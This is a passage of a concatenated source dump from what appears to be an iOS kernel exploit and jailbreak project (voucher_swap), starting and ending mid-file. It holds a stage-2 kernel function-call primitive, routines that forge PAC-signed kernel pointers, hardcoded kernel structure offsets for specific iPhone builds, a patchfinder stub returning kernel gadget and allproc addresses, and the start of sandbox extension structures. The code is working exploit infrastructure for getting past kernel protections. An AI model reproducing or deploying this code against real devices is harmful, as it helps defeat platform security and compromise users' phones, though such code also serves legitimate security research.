stage1_init_kernel_pacxa_forging(); 218 | #endif 219 | return true; 220 | } 221 | 222 | void 223 | stage2_kernel_call_deinit() { 224 | } 225 | 226 | uint32_t 227 | stage2_kernel_call_7v(uint64_t function, 228 | size_t argument_count, const uint64_t arguments[]) { 229 | uint64_t paciza_function = kernel_forge_pacia(function, 0); 230 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments); 231 | } 232 | 233 | uint64_t 234 | kernel_forge_pacia(uint64_t pointer, uint64_t context) { 235 | #if __arm64e__ 236 | return stage2_kernel_forge_pacxa(pointer, context, true); 237 | #else 238 | return pointer; 239 | #endif 240 | } 241 | 242 | uint64_t 243 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) { 244 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff); 245 | return kernel_forge_pacia(pointer, context); 246 | } 247 | 248 | uint64_t 249 | kernel_forge_pacda(uint64_t pointer, uint64_t context) { 250 | #if __arm64e__ 251 | return stage2_kernel_forge_pacxa(pointer, context, false); 252 | #else 253 | return pointer; 254 | #endif 255 | } 256 | 257 | uint64_t 258 | kernel_xpaci(uint64_t pointer) { 259 | #if __arm64e__ 260 | return xpaci(pointer); 261 | #else 262 | return pointer; 263 | #endif 264 | } 265 | 266 | uint64_t 267 | kernel_xpacd(uint64_t pointer) { 268 | #if __arm64e__ 269 | return xpacd(pointer); 270 | #else 271 | return pointer; 272 | #endif 273 | } 274 | -------------------------------------------------------------------------------- /pac.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage2_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 2 of kernel function calling. 17 | * 18 | * Initializes: 19 | * stage2_kernel_call_7v() 20 | * kernel_forge_pacia() 21 | * kernel_forge_pacia_with_type() 22 | * kernel_forge_pacda() 23 | */ 24 | bool stage2_kernel_call_init(void); 25 | 26 | /* 27 | * stage2_kernel_call_deinit 28 | * 29 | * Description: 30 | * Deinitialize stage 2 of kernel function calling. 31 | */ 32 | void stage2_kernel_call_deinit(void); 33 | 34 | /* 35 | * stage2_kernel_call_7v 36 | * 37 | * Description: 38 | * Call a kernel function using our stage 2 execute primitive. 39 | * 40 | * Restrictions: 41 | * At most 7 arguments can be passed. 42 | * The return value is truncated to 32 bits. 43 | * At stage 2, only arguments X1 - X6 are controlled. 44 | */ 45 | uint32_t stage2_kernel_call_7v(uint64_t function, 46 | size_t argument_count, const uint64_t arguments[]); 47 | 48 | uint64_t 49 | kernel_forge_pacda(uint64_t pointer, uint64_t context); 50 | 51 | 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.c 3 | * Brandon Azad 4 | */ 5 | #define PARAMETERS_EXTERN 6 | #include "parameters.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "platform.h" 16 | #include "platform_match.h" 17 | 18 | // ---- Initialization routines ------------------------------------------------------------------- 19 | 20 | // A struct describing an initialization. 21 | struct initialization { 22 | const char *devices; 23 | const char *builds; 24 | void (*init)(void); 25 | }; 26 | 27 | // Run initializations matching this platform. 28 | static size_t 29 | run_initializations(struct initialization *inits, size_t count) { 30 | size_t match_count = 0; 31 | for (size_t i = 0; i < count; i++) { 32 | struct initialization *init = &inits[i]; 33 | if (platform_matches(init->devices, init->builds)) { 34 | init->init(); 35 | match_count++; 36 | } 37 | } 38 | return match_count; 39 | } 40 | 41 | // A helper macro to get the number of elements in a static array. 42 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 43 | 44 | // ---- General system parameters ----------------------------------------------------------------- 45 | 46 | // Initialization for general system parameters. 47 | static void 48 | init__system_parameters() { 49 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000; 50 | kernel_slide_step = 0x200000; 51 | message_size_for_kmsg_zone = 76; 52 | kmsg_zone_size = 256; 53 | max_ool_ports_per_message = 16382; 54 | gc_step = 2 * MB; 55 | } 56 | 57 | // A list of general system parameter initializations by platform. 58 | static struct initialization system_parameters[] = { 59 | { "*", "*", init__system_parameters }, 60 | }; 61 | 62 | // ---- Offset initialization --------------------------------------------------------------------- 63 | 64 | // Initialization for iPhone11,8 16C50 (and similar devices). 65 | static void 66 | offsets__iphone11_8__16C50() { 67 | SIZE(ipc_entry) = 0x18; 68 | OFFSET(ipc_entry, ie_object) = 0; 69 | OFFSET(ipc_entry, ie_bits) = 8; 70 | OFFSET(ipc_entry, ie_request) = 16; 71 | 72 | SIZE(ipc_port) = 0xa8; 73 | BLOCK_SIZE(ipc_port) = 0x4000; 74 | OFFSET(ipc_port, ip_bits) = 0; 75 | OFFSET(ipc_port, ip_references) = 4; 76 | OFFSET(ipc_port, waitq_flags) = 24; 77 | OFFSET(ipc_port, imq_messages) = 64; 78 | OFFSET(ipc_port, imq_msgcount) = 80; 79 | OFFSET(ipc_port, imq_qlimit) = 82; 80 | OFFSET(ipc_port, ip_receiver) = 96; 81 | OFFSET(ipc_port, ip_kobject) = 104; 82 | OFFSET(ipc_port, ip_nsrequest) = 112; 83 | OFFSET(ipc_port, ip_requests) = 128; 84 | OFFSET(ipc_port, ip_mscount) = 156; 85 | OFFSET(ipc_port, ip_srights) = 160; 86 | 87 | SIZE(ipc_port_request) = 0x10; 88 | OFFSET(ipc_port_request, ipr_soright) = 0; 89 | 90 | OFFSET(ipc_space, is_table_size) = 0x14; 91 | OFFSET(ipc_space, is_table) = 0x20; 92 | 93 | SIZE(ipc_voucher) = 0x50; 94 | BLOCK_SIZE(ipc_voucher) = 0x4000; 95 | 96 | OFFSET(proc, p_pid) = 0x60; 97 | OFFSET(proc, p_ucred) = 0xf8; 98 | 99 | SIZE(sysctl_oid) = 0x50; 100 | OFFSET(sysctl_oid, oid_parent) = 0x0; 101 | OFFSET(sysctl_oid, oid_link) = 0x8; 102 | OFFSET(sysctl_oid, oid_kind) = 0x14; 103 | OFFSET(sysctl_oid, oid_handler) = 0x30; 104 | OFFSET(sysctl_oid, oid_version) = 0x48; 105 | OFFSET(sysctl_oid, oid_refcnt) = 0x4c; 106 | 107 | OFFSET(task, lck_mtx_type) = 0xb; 108 | OFFSET(task, ref_count) = 0x10; 109 | OFFSET(task, active) = 0x14; 110 | OFFSET(task, map) = 0x20; 111 | OFFSET(task, itk_space) = 0x300; 112 | OFFSET(task, bsd_info) = 0x368; 113 | } 114 | 115 | // Initialization for iPhone10,1 16B92 (and similar devices). 116 | static void 117 | offsets__iphone10_1__16B92() { 118 | offsets__iphone11_8__16C50(); 119 | 120 | OFFSET(task, bsd_info) = 0x358; 121 | } 122 | 123 | // Initialize offset parameters whose values are computed from other parameters. 124 | static void 125 | initialize_computed_offsets() { 126 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port); 127 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher); 128 | } 129 | 130 | // A list of offset initializations by platform. 131 | static struct initialization offsets[] = { 132 | { "iPhone11,*", "16A405-16C104", offsets__iphone11_8__16C50 }, 133 | { "iPhone10,1", "16B92-16C101", offsets__iphone10_1__16B92 }, 134 | { "*", "*", initialize_computed_offsets }, 135 | }; 136 | 137 | // The minimum number of offsets that must match in order to declare a platform initialized. 138 | static const size_t min_offsets = 2; 139 | 140 | // ---- Public API -------------------------------------------------------------------------------- 141 | 142 | bool 143 | parameters_init() { 144 | // Get general platform info. 145 | platform_init(); 146 | // Initialize general system parameters. 147 | run_initializations(system_parameters, ARRAY_COUNT(system_parameters)); 148 | // Initialize offsets. 149 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); 150 | if (count < min_offsets) { 151 | ERROR("no offsets for %s %s", platform.machine, platform.osversion); 152 | return false; 153 | } 154 | return true; 155 | } 156 | -------------------------------------------------------------------------------- /parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_ 6 | #define VOUCHER_SWAP__PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef PARAMETERS_EXTERN 13 | #define extern PARAMETERS_EXTERN 14 | #endif 15 | 16 | // Some helpful units. 17 | #define KB (1024uLL) 18 | #define MB (1024uLL * KB) 19 | #define GB (1024uLL * MB) 20 | 21 | // Generate the name for an offset. 22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_ 23 | 24 | // Generate the name for the size of an object. 25 | #define SIZE(object_) _##object_##__size_ 26 | 27 | // Generate the name for the size of a zalloc block of objects. 28 | #define BLOCK_SIZE(object_) _##object_##__block_size_ 29 | 30 | // Generate the name for the number of elements in a zalloc block. 31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_ 32 | 33 | // Generate the name for the address of an object. 34 | #define ADDRESS(object_) _##object_##__address_ 35 | 36 | // Generate the name for the static (unslid) address of an object. 37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_ 38 | 39 | // A convenience macro for accessing a field of a structure. 40 | #define FIELD(object_, struct_, field_, type_) \ 41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) ) 42 | 43 | // The static base address of the kernel. 44 | extern uint64_t STATIC_ADDRESS(kernel_base); 45 | 46 | // The kernel_slide granularity. 47 | extern uint64_t kernel_slide_step; 48 | 49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone. 50 | extern size_t message_size_for_kmsg_zone; 51 | 52 | // The size of elements in ipc.kmsgs. 53 | extern size_t kmsg_zone_size; 54 | 55 | // The maximum number of OOL ports in a single message. 56 | extern size_t max_ool_ports_per_message; 57 | 58 | // How much to allocate between sleeps while trying to trigger garbage collection. 59 | extern size_t gc_step; 60 | 61 | // Parameters for ipc_entry. 62 | extern size_t SIZE(ipc_entry); 63 | extern size_t OFFSET(ipc_entry, ie_object); 64 | extern size_t OFFSET(ipc_entry, ie_bits); 65 | extern size_t OFFSET(ipc_entry, ie_request); 66 | 67 | // Parameters for ipc_port. 68 | extern size_t SIZE(ipc_port); 69 | extern size_t BLOCK_SIZE(ipc_port); 70 | extern size_t COUNT_PER_BLOCK(ipc_port); 71 | extern size_t OFFSET(ipc_port, ip_bits); 72 | extern size_t OFFSET(ipc_port, ip_references); 73 | extern size_t OFFSET(ipc_port, waitq_flags); 74 | extern size_t OFFSET(ipc_port, imq_messages); 75 | extern size_t OFFSET(ipc_port, imq_msgcount); 76 | extern size_t OFFSET(ipc_port, imq_qlimit); 77 | extern size_t OFFSET(ipc_port, ip_receiver); 78 | extern size_t OFFSET(ipc_port, ip_kobject); 79 | extern size_t OFFSET(ipc_port, ip_nsrequest); 80 | extern size_t OFFSET(ipc_port, ip_requests); 81 | extern size_t OFFSET(ipc_port, ip_mscount); 82 | extern size_t OFFSET(ipc_port, ip_srights); 83 | 84 | // Parameters for ipc_port_request. 85 | extern size_t SIZE(ipc_port_request); 86 | extern size_t OFFSET(ipc_port_request, ipr_soright); 87 | 88 | // Parameters for struct ipc_space. 89 | extern size_t OFFSET(ipc_space, is_table_size); 90 | extern size_t OFFSET(ipc_space, is_table); 91 | 92 | // Parameters for ipc_voucher. 93 | extern size_t SIZE(ipc_voucher); 94 | extern size_t BLOCK_SIZE(ipc_voucher); 95 | extern size_t COUNT_PER_BLOCK(ipc_voucher); 96 | 97 | // Parameters for struct proc. 98 | extern size_t OFFSET(proc, p_pid); 99 | extern size_t OFFSET(proc, p_ucred); 100 | 101 | // Parameters for struct sysctl_oid. 102 | extern size_t SIZE(sysctl_oid); 103 | extern size_t OFFSET(sysctl_oid, oid_parent); 104 | extern size_t OFFSET(sysctl_oid, oid_link); 105 | extern size_t OFFSET(sysctl_oid, oid_kind); 106 | extern size_t OFFSET(sysctl_oid, oid_handler); 107 | extern size_t OFFSET(sysctl_oid, oid_version); 108 | extern size_t OFFSET(sysctl_oid, oid_refcnt); 109 | 110 | // Parameters for struct task. 111 | extern size_t OFFSET(task, lck_mtx_type); 112 | extern size_t OFFSET(task, ref_count); 113 | extern size_t OFFSET(task, active); 114 | extern size_t OFFSET(task, map); 115 | extern size_t OFFSET(task, itk_space); 116 | extern size_t OFFSET(task, bsd_info); 117 | 118 | /* 119 | * parameters_init 120 | * 121 | * Description: 122 | * Initialize the parameters for the system. 123 | */ 124 | bool parameters_init(void); 125 | 126 | #undef extern 127 | 128 | #endif 129 | -------------------------------------------------------------------------------- /patchfinder64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "patchfinder64.h" 5 | #include "offsets.h" 6 | 7 | extern struct offsets off; 8 | 9 | uint64_t find_add_x0_x0_0x40_ret() { 10 | return off.gadget; 11 | } 12 | 13 | uint64_t find_allproc() { 14 | return off.allproc; 15 | } 16 | 17 | uint64_t find_OSBoolean_True() { 18 | return off.OSBooleanTrue; 19 | } 20 | 21 | uint64_t find_OSBoolean_False() { 22 | return off.OSBooleanFalse; 23 | } 24 | 25 | uint64_t find_zone_map_ref() { 26 | return off.zone_map_ref; 27 | } 28 | 29 | uint64_t find_osunserializexml() { 30 | return off.OSUnserializeXML; 31 | } 32 | 33 | uint64_t find_smalloc() { 34 | return off.smalloc; 35 | } 36 | -------------------------------------------------------------------------------- /patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | #define CACHED_FIND(type, name) \ 5 | type __##name(void);\ 6 | type name(void) { \ 7 | type cached = 0; \ 8 | if (cached == 0) { \ 9 | cached = __##name(); \ 10 | } \ 11 | return cached; \ 12 | } \ 13 | type __##name(void) 14 | 15 | uint64_t find_allproc(void); 16 | uint64_t find_add_x0_x0_0x40_ret(void); 17 | uint64_t find_OSBoolean_True(void); 18 | uint64_t find_OSBoolean_False(void); 19 | uint64_t find_zone_map_ref(void); 20 | uint64_t find_osunserializexml(void); 21 | uint64_t find_smalloc(void); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /platform.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.c 3 | * Brandon Azad 4 | */ 5 | #define PLATFORM_EXTERN 6 | #include "platform.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "log.h" 14 | 15 | // ---- Initialization ---------------------------------------------------------------------------- 16 | 17 | void 18 | platform_init() { 19 | // Only initialize once. 20 | static bool initialized = false; 21 | if (initialized) { 22 | return; 23 | } 24 | initialized = true; 25 | // Set the page size. 26 | platform.page_size = vm_kernel_page_size; 27 | page_size = platform.page_size; 28 | // Get the machine name (e.g. iPhone11,8). 29 | struct utsname u = {}; 30 | int error = uname(&u); 31 | assert(error == 0); 32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine)); 33 | // Get the build (e.g. 16C50). 34 | size_t osversion_size = sizeof(platform.osversion); 35 | error = sysctlbyname("kern.osversion", 36 | (void *)platform.osversion, &osversion_size, NULL, 0); 37 | assert(error == 0); 38 | // Get basic host info. 39 | mach_port_t host = mach_host_self(); 40 | assert(MACH_PORT_VALID(host)); 41 | host_basic_info_data_t basic_info; 42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT; 43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count); 44 | assert(kr == KERN_SUCCESS); 45 | platform.cpu_type = basic_info.cpu_type; 46 | platform.cpu_subtype = basic_info.cpu_subtype; 47 | platform.physical_cpu = basic_info.physical_cpu; 48 | platform.logical_cpu = basic_info.logical_cpu; 49 | platform.memory_size = basic_info.max_mem; 50 | mach_port_deallocate(mach_task_self(), host); 51 | // Log basic platform info. 52 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion); 53 | } 54 | -------------------------------------------------------------------------------- /platform.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_H_ 6 | #define VOUCHER_SWAP__PLATFORM_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef PLATFORM_EXTERN 13 | #define extern PLATFORM_EXTERN 14 | #endif 15 | 16 | /* 17 | * platform 18 | * 19 | * Description: 20 | * Basic information about the platform. 21 | */ 22 | struct platform { 23 | /* 24 | * platform.machine 25 | * 26 | * Description: 27 | * The name of the platform, e.g. iPhone11,8. 28 | */ 29 | const char machine[32]; 30 | /* 31 | * platform.osversion 32 | * 33 | * Description: 34 | * The version of the OS build, e.g. 16C50. 35 | */ 36 | const char osversion[32]; 37 | /* 38 | * platform.cpu_type 39 | * 40 | * Description: 41 | * The platform CPU type. 42 | */ 43 | cpu_type_t cpu_type; 44 | /* 45 | * platform.cpu_subtype 46 | * 47 | * Description: 48 | * The platform CPU subtype. 49 | */ 50 | cpu_subtype_t cpu_subtype; 51 | /* 52 | * platform.physical_cpu 53 | * 54 | * Description: 55 | * The number of physical CPU cores. 56 | */ 57 | unsigned physical_cpu; 58 | /* 59 | * platform.logical_cpu 60 | * 61 | * Description: 62 | * The number of logical CPU cores. 63 | */ 64 | unsigned logical_cpu; 65 | /* 66 | * platform.page_size 67 | * 68 | * Description: 69 | * The kernel page size. 70 | */ 71 | size_t page_size; 72 | /* 73 | * platform.memory_size 74 | * 75 | * Description: 76 | * The size of physical memory on the device. 77 | */ 78 | size_t memory_size; 79 | }; 80 | extern struct platform platform; 81 | 82 | /* 83 | * page_size 84 | * 85 | * Description: 86 | * The kernel page size on this platform, made available globally for convenience. 87 | */ 88 | extern size_t page_size; 89 | 90 | /* 91 | * platform_init 92 | * 93 | * Description: 94 | * Initialize the platform. 95 | */ 96 | void platform_init(void); 97 | 98 | #undef extern 99 | 100 | #endif 101 | -------------------------------------------------------------------------------- /platform_match.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.c 3 | * Brandon Azad 4 | */ 5 | #include "platform_match.h" 6 | 7 | #include 8 | #include 9 | 10 | #include "log.h" 11 | #include "platform.h" 12 | 13 | // ---- Matching helper functions ----------------------------------------------------------------- 14 | 15 | // Advance past any spaces in a string. 16 | static void 17 | skip_spaces(const char **p) { 18 | const char *pch = *p; 19 | while (*pch == ' ') { 20 | pch++; 21 | } 22 | *p = pch; 23 | } 24 | 25 | // ---- Device matching --------------------------------------------------------------------------- 26 | 27 | // A wildcard device version number. 28 | #define ANY ((unsigned)(-1)) 29 | 30 | // Parse the version part of a device string. 31 | static bool 32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor, 33 | bool allow_wildcard, const char **end) { 34 | const char *p = device_version; 35 | // Parse the major version, which might be a wildcard. 36 | unsigned maj = 0; 37 | if (allow_wildcard && *p == '*') { 38 | maj = ANY; 39 | p++; 40 | } else { 41 | for (;;) { 42 | char ch = *p; 43 | if (ch < '0' || '9' < ch) { 44 | break; 45 | } 46 | maj = maj * 10 + (ch - '0'); 47 | p++; 48 | } 49 | } 50 | // Make sure we got the comma. 51 | if (*p != ',') { 52 | return false; 53 | } 54 | p++; 55 | // Parse the minor version, which might be a wildcard. 56 | unsigned min = 0; 57 | if (allow_wildcard && *p == '*') { 58 | min = ANY; 59 | p++; 60 | } else { 61 | for (;;) { 62 | char ch = *p; 63 | if (ch < '0' || '9' < ch) { 64 | break; 65 | } 66 | min = min * 10 + (ch - '0'); 67 | p++; 68 | } 69 | } 70 | // If end is NULL, then require that we're at the end of the string. Else, return the end 71 | // of what we parsed. 72 | if (end == NULL) { 73 | if (*p != 0) { 74 | return false; 75 | } 76 | } else { 77 | *end = p; 78 | } 79 | // Return the values. 80 | *major = maj; 81 | *minor = min; 82 | return true; 83 | } 84 | 85 | // Parse a device name. 86 | static bool 87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor, 88 | bool allow_wildcard, const char **end) { 89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY 90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set 91 | // the whole thing as the device type. 92 | const char *comma = strchr(device, ','); 93 | if (comma == NULL) { 94 | unknown: 95 | strcpy(device_type, device); 96 | *major = 0; 97 | *minor = 0; 98 | return false; 99 | } 100 | // Walk backwards from the comma to the start of the major version. 101 | if (comma == device) { 102 | goto unknown; 103 | } 104 | const char *p = comma; 105 | for (;;) { 106 | char ch = *(p - 1); 107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) { 108 | break; 109 | } 110 | p--; 111 | if (p == device) { 112 | goto unknown; 113 | } 114 | } 115 | if (p == comma) { 116 | goto unknown; 117 | } 118 | size_t device_type_length = p - device; 119 | // Parse the version numbers. 120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end); 121 | if (!ok) { 122 | goto unknown; 123 | } 124 | // Return the device_type string. This is last in case it's shared with the device string. 125 | strncpy(device_type, device, device_type_length); 126 | device_type[device_type_length] = 0; 127 | return true; 128 | } 129 | 130 | // Parse a device name. 131 | static bool 132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) { 133 | return parse_device_internal(device, device_type, major, minor, false, NULL); 134 | } 135 | 136 | // Parse a device range string. 137 | static bool 138 | parse_device_range(const char *device, char *device_type, 139 | unsigned *min_major, unsigned *min_minor, 140 | unsigned *max_major, unsigned *max_minor, 141 | const char **end) { 142 | char dev_type[32]; 143 | const char *next = device; 144 | // First parse a full device. 145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next); 146 | if (!ok) { 147 | unknown: 148 | strcpy(device_type, device); 149 | *min_major = 0; 150 | *min_minor = 0; 151 | *max_major = 0; 152 | *max_minor = 0; 153 | return false; 154 | } 155 | // Optionally parse a separator and more versions. 156 | if (*next == 0) { 157 | *max_major = *min_major; 158 | *max_minor = *min_minor; 159 | } else if (*next == '-') { 160 | next++; 161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next); 162 | if (!ok) { 163 | goto unknown; 164 | } 165 | } 166 | *end = next; 167 | // Return the device_type. 168 | strcpy(device_type, dev_type); 169 | return true; 170 | } 171 | 172 | // Check if the given device number is numerically within range. 173 | static bool 174 | numerical_device_match(unsigned major, unsigned minor, 175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) { 176 | if (major < min_major && min_major != ANY) { 177 | return false; 178 | } 179 | if ((major == min_major || min_major == ANY) 180 | && minor < min_minor && min_minor != ANY) { 181 | return false; 182 | } 183 | if (major > max_major && max_major != ANY) { 184 | return false; 185 | } 186 | if ((major == max_major || max_major == ANY) 187 | && minor > max_minor && max_minor != ANY) { 188 | return false; 189 | } 190 | return true; 191 | } 192 | 193 | // Match a specific device against a device match list. 194 | static bool 195 | match_device(const char *device, const char *devices) { 196 | if (devices == NULL || strcmp(devices, "*") == 0) { 197 | return true; 198 | } 199 | // Parse this device. 200 | char device_type[32]; 201 | unsigned major, minor; 202 | parse_device(device, device_type, &major, &minor); 203 | // Parse the match list. 204 | const char *next = devices; 205 | while (*next != 0) { 206 | // Parse the next device range. 207 | char match_device_type[32]; 208 | unsigned min_major, min_minor, max_major, max_minor; 209 | parse_device_range(next, match_device_type, &min_major, &min_minor, 210 | &max_major, &max_minor, &next); 211 | if (*next != 0) { 212 | skip_spaces(&next); 213 | assert(*next == '|'); 214 | next++; 215 | skip_spaces(&next); 216 | assert(*next != 0); 217 | } 218 | // Check if this is a match. 219 | if (strcmp(device_type, match_device_type) == 0 220 | && numerical_device_match(major, minor, 221 | min_major, min_minor, max_major, max_minor)) { 222 | return true; 223 | } 224 | } 225 | return false; 226 | } 227 | 228 | // ---- Build matching ---------------------------------------------------------------------------- 229 | 230 | // Parse a build version string into a uint64_t. Maintains comparison order. 231 | static uint64_t 232 | parse_build_version(const char *build, const char **end) { 233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte] 234 | const char *p = build; 235 | // Parse out the major number. 236 | uint64_t major = 0; 237 | for (;;) { 238 | char ch = *p; 239 | if (ch < '0' || '9' < ch) { 240 | break; 241 | } 242 | major = major * 10 + (ch - '0'); 243 | p++; 244 | } 245 | // Parse out the minor. 246 | uint64_t minor = 0; 247 | for (;;) { 248 | char ch = *p; 249 | if (ch < 'A' || 'Z' < ch) { 250 | break; 251 | } 252 | minor = (minor << 8) + ch; 253 | p++; 254 | } 255 | // Parse out the patch. 256 | uint64_t patch = 0; 257 | for (;;) { 258 | char ch = *p; 259 | if (ch < '0' || '9' < ch) { 260 | break; 261 | } 262 | patch = patch * 10 + (ch - '0'); 263 | p++; 264 | } 265 | // Parse out the alpha. 266 | uint64_t alpha = 0; 267 | for (;;) { 268 | char ch = *p; 269 | if (ch < 'a' || 'z' < ch) { 270 | break; 271 | } 272 | alpha = (alpha << 8) + ch; 273 | p++; 274 | } 275 | // Construct the full build version. 276 | if (end != NULL) { 277 | *end = p; 278 | } 279 | return ((major << (8 * 5)) 280 | | (minor << (8 * 4)) 281 | | (patch << (8 * 1)) 282 | | (alpha << (8 * 0))); 283 | } 284 | 285 | // Parse a build version range string. 286 | static void 287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) { 288 | const char *next = builds; 289 | uint64_t min, max; 290 | // Parse the lower range. 291 | if (*next == '*') { 292 | min = 0; 293 | next++; 294 | } else { 295 | min = parse_build_version(next, &next); 296 | } 297 | // Parse the upper range (if it exists). 298 | if (*next == 0) { 299 | assert(min != 0); 300 | max = min; 301 | } else { 302 | skip_spaces(&next); 303 | assert(*next == '-'); 304 | next++; 305 | skip_spaces(&next); 306 | if (*next == '*') { 307 | max = (uint64_t)(-1); 308 | next++; 309 | } else { 310 | max = parse_build_version(next, &next); 311 | } 312 | assert(*next == 0); 313 | } 314 | *version_min = min; 315 | *version_max = max; 316 | } 317 | 318 | // Check if the given build version string matches the build range. 319 | static bool 320 | match_build(const char *build, const char *builds) { 321 | if (builds == NULL || strcmp(builds, "*") == 0) { 322 | return true; 323 | } 324 | uint64_t version = parse_build_version(build, NULL); 325 | uint64_t version_min, version_max; 326 | parse_build_version_range(builds, &version_min, &version_max); 327 | return (version_min <= version && version <= version_max); 328 | } 329 | 330 | // ---- Public API -------------------------------------------------------------------------------- 331 | 332 | bool 333 | platform_matches_device(const char *device_range) { 334 | return match_device(platform.machine, device_range); 335 | } 336 | 337 | bool 338 | platform_matches_build(const char *build_range) { 339 | return match_build(platform.osversion, build_range); 340 | } 341 | 342 | bool 343 | platform_matches(const char *device_range, const char *build_range) { 344 | return platform_matches_device(device_range) 345 | && platform_matches_build(build_range); 346 | } 347 | -------------------------------------------------------------------------------- /platform_match.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_ 6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_ 7 | 8 | #include 9 | 10 | /* 11 | * platform_matches_device 12 | * 13 | * Description: 14 | * Check whether the current platform matches the specified device or range of devices. 15 | * 16 | * Match format: 17 | * The match string may either specify a single device glob or a range of device globs. For 18 | * example: 19 | * 20 | * "iPhone11,8" Matches only iPhone11,8 21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4. 22 | * "iPhone*,*" Matches all iPhone devices. 23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive. 24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices. 25 | * 26 | * As a special case, "*" matches all devices. 27 | */ 28 | bool platform_matches_device(const char *device_range); 29 | 30 | /* 31 | * platform_matches_build 32 | * 33 | * Description: 34 | * Check whether the current platform matches the specified build version or range of build 35 | * versions. 36 | * 37 | * Match format: 38 | * The match string may either specify a single build version or a range of build versions. 39 | * For example: 40 | * 41 | * "16C50" Matches only build 16C50. 42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive. 43 | * 44 | * As a special case, either build version may be replaced with "*" to indicate a lack of 45 | * lower or upper bound: 46 | * 47 | * "*-16B92" Matches all builds up to and including 16B92. 48 | * "16C50-*" Matches build 16C50 and later. 49 | * "*" Matches all build versions. 50 | */ 51 | bool platform_matches_build(const char *build_range); 52 | 53 | /* 54 | * platform_matches 55 | * 56 | * Description: 57 | * A convenience function that combines platform_matches_device() and 58 | * platform_matches_build(). 59 | */ 60 | bool platform_matches(const char *device_range, const char *build_range); 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /sandbox.c: -------------------------------------------------------------------------------- 1 | #include "kmem.h" 2 | #include "kern_utils.h" 3 | #include "kernel_call.h" 4 | #include "sandbox.h" 5 | #include "patchfinder64.h" 6 | #include "kexecute.h" 7 | 8 | 9 | typedef uint64_t extension_hdr_t; 10 | typedef uint64_t extension_t; 11 | 12 | struct extension_hdr { 13 | /* 0x00 */ extension_hdr_t next; 14 | /* 0x08 */ extension_t ext_lst; 15 | /* 0x10 */ char desc[]; 16 | /* 0x18 */ 17 | }; 18 | 19 | struct extension { 20 | extension_t next; 21 | uint64_t desc; // always 0xffffffffffffffff; 22 | uint8_t something[20]; // all zero 23 | uint16_t num; // one 24 | uint8_t type; // see ext_type enum 25 | uint8_t num3; // one 26 | uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..) 27 | uint32_t num4; // another number 28 | void* data; // a c string, meaning depends on type and hdr which had this extension 29 | uint64_t data_len; // strlen(data) 30 | uint16_t num5; // another one! 31 | uint8_t something_2[14]; // something v2.0 32 | uint64_t ptr3; // it's always 0 for files 33 | uint64_t ptr4; 